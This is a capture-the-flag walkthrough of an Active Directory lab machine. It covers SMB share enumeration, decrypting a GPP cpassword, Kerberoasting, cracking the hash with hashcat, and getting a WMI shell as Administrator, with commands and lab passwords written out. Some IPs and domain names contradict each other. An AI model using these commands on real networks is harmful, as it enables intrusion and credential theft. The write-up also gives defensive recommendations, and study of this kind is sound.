Summary

The share contained a Groups.xml file storing credentials, which was readable by anyone, and a credential was found inside it. This credential used the now-deprecated cpassword field, so I was able to decrypt it and obtain the plaintext password. Using the obtained credential, I performed Kerberoasting and was able to retrieve the Administrator's credentials, which allowed me to get a shell.

Recommendation

Assuming this were a real environment, I would recommend the following.

  • The share should not have been configured to allow read access for everyone.
  • cpassword is insecure by design, and even Microsoft has deprecated it — it should never be used anymore.
  • The password should have been longer and more complex to prevent it from being cracked with a wordlist like rockyou.
  • Most importantly, an SPN should never have been assigned to the Administrator account in the first place.

Reconnaissance

First of all, let's perform a port scan using Nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.11 


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,) sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.11

53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can consider that it is Windows with AD service.
Also, the domain is active.htb.

Let's add the host entry to /etc/hosts.

echo "10.129.228.253 dc.sequel.htb sequel.htb" | sudo tee -a /etc/hosts 


sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.11

No interesting UDP port is open.

Enumeration

Let's try anonymous login for shares, users and groups.

nxc smb 10.129.52.11 -u '' -p '' --shares --users --groups

It indicates that we have READ permission for Replication folder.

Let's check the Replication folder.

smbclient //10.129.52.11/Replication

After an initial look, I noticed there were deep folders, so I decided to download them all.

recurse ON prompt OFF mget *

Let's check whether there are any credentials.

grep -rinaE 'pass(word)?|secret|token|api[_-]?key' . 2>/dev/null

The following credential is revealed.
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

This cpassword is an encrypted password that anyone can decrypt as follows.

Let's check what service this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.52.11 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' $a; done; done; for p in ssh ftp; do nxc $p 10.129.52.11 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'; done 


 xfreerdp3 /u:SVC_TGS /p:GPPstillStandingStrong2k18 /v:10.129.228.253 /cert:ignore

Nothing seems valid.

Exploitation & Privilege Escalation

Let's try Kerberoasting using the credential we found.

impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.52.11 -request -outputfile kerb.txt

There's a cached credential for Administrator!

Crack it with rokyou.txt.

 hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

The password is revlealed: Ticketmaster1968.

Check what service is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.52.11 -u 'Administrator' -p 'Ticketmaster1968' $a; done; done; for p in ssh ftp; do nxc $p 10.129.52.11 -u 'Administrator' -p 'Ticketmaster1968'; done

Let's use WMI to login as Administrator.

impacket-wmiexec active.htb/Administrator:'Ticketmaster1968'@10.129.52.11 


type C:\Users\SVC_TGS\Desktop\user.txt 


type C:\Users\Administrator\Desktop\root.txt

Done!

Lessons Learned

  • I couldn't get a shell as svc_tgs this time. I'll treat this as a follow-up topic to study later.